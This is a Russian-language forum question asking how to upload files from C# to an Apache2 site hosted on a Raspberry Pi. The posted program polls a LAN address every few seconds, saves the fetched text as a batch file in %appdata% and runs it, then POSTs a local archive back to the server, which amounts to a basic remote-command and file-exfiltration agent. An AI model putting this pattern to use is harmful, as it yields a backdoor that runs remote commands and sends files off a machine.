Как отправить файл на веб-сайт Apache2, используя C#? - PullRequest
1 голос
/ 08 мая 2020

Итак, я сделал некоторый код в C#, который проверяет, что находится внутри файла на определенном веб-сайте. Когда он обнаруживает изменение внутри этого файла, он выполняет некоторую команду. Теперь я думаю, есть ли способ отправить некоторые файлы обратно на сайт? Веб-сайт размещен с использованием Apache2 на Raspberry Pi. Вот код, который я получил:

using System;
using System.Net;
using System.IO;
using System.Threading;

namespace HttpGet
{
    class Program
    {
        static void Main(string[] args)
        {
            string lastdata = "nice";
            int strtp = 0;
            string PCName = Environment.MachineName.ToString();
            while (true)
            {
                Console.WriteLine("try..");

                var uri = new Uri("http://192.168.1.76/comm.txt");

                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);

                using var response = (HttpWebResponse)request.GetResponse();
                using var stream = response.GetResponseStream();
                using var reader = new StreamReader(stream);

                var data = reader.ReadToEnd();
                if ((lastdata != data) || (strtp == 0))
                {
                    Console.WriteLine("New data:");
                    Console.WriteLine(data);
                    lastdata = data;
                    string appdata = Environment.ExpandEnvironmentVariables("%appdata%");
                    string path = appdata + @"\temp\temp.bat";
                    string pathfold = appdata + @"\temp";
                    string createText = data; ;
                    if (!Directory.Exists(pathfold))
                    {
                        Directory.CreateDirectory(pathfold);
                    }
                    using (StreamWriter writer = new StreamWriter(path))
                    {
                        writer.WriteLine(createText);
                    }
                    System.Diagnostics.Process.Start(path);
                    if(strtp == 0)
                    {
                        strtp = 1;
                        lastdata = data;
                    }
                    using (WebClient client = new WebClient())
                    {
                        client.Headers.Add("Content-Type", "application/octet-stream");
                        using (Stream fileStream = File.OpenRead(@"C:\Users\JEREDEK\Desktop\2\1.rar"))
                        using (Stream requestStream = client.OpenWrite(new Uri("http://192.168.1.76/stuff"), "POST"))
                        {
                            fileStream.CopyTo(requestStream);
                        }
                    }
                }
                else
                {
                    Console.WriteLine("Nothing new.");
                }
                Thread.Sleep(3000);
            }
        }
    }
}

Я использую Visual Studio 2019, это важно.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...